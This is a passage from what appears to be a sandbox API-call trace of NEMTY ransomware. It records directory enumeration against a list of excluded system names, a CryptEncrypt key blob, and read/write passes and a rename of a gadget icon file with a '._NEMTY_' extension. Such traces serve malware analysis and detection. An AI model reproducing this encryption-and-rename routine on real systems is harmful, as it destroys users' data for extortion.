ftCreationTime.dwLowDateTime=0x290ae597, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290ae597, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0124.050] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0124.050] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0124.050] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0124.050] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0124.050] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0124.050] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0124.051] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0124.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0124.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0124.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0124.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0124.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0124.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0124.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0124.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0124.053] Sleep (dwMilliseconds=0x5) [0124.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfd985c10, dwHighDateTime=0x1d561e7)) [0124.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfd985c10, dwHighDateTime=0x1d561e7)) [0124.065] GetLastError () returned 0x12 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.065] GetLastError () returned 0x12 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.065] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0124.065] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0124.065] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340158 [0124.065] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340158, pcchString=0x653ec5c | out: pszString="frJnvuKpCLEA8/uz4+UVsDT3VWimjpLGvEK1/Xlc5gDs/usK0MbNYbZjV26le9D2\r\nW3USHy6SEZ9yw4wjJl92NSxtFkOTBS2R+KGKVUEEzVTQQKkfFB430D4gsEXT+wP8\r\nX8FwfgTOtlE/5QsHSOA99hF5/Zu0GUizguwLEBW2H7aQMGWHIgXRRc6/3WvuL/D5\r\nsbFjtBDDBX1lt4kYaVmsJAOVw8Rs9tx6WJUmpjNQvk/X9Baf21lQ0r/gGykKzOLu\r\n+pAs+P97NpIhOPmuF1UudG7uPQntK5ZKTwcCEPekrVxUGw+vaGdM7Hw1WdVOS6gE\r\nbxyAuAs/CQr4wSj48WmWkg==\r\n", pcchString=0x653ec5c) returned 1 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0124.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340158 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.065] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.065] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0124.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0124.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0124.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.172] CloseHandle (hObject=0xffffffff) returned 0 [0124.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402c8 [0124.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340350 [0124.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63403d8 [0124.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0124.173] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0124.173] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0124.173] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0124.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0124.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0124.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0124.174] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0124.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0124.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0124.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0124.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0124.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: 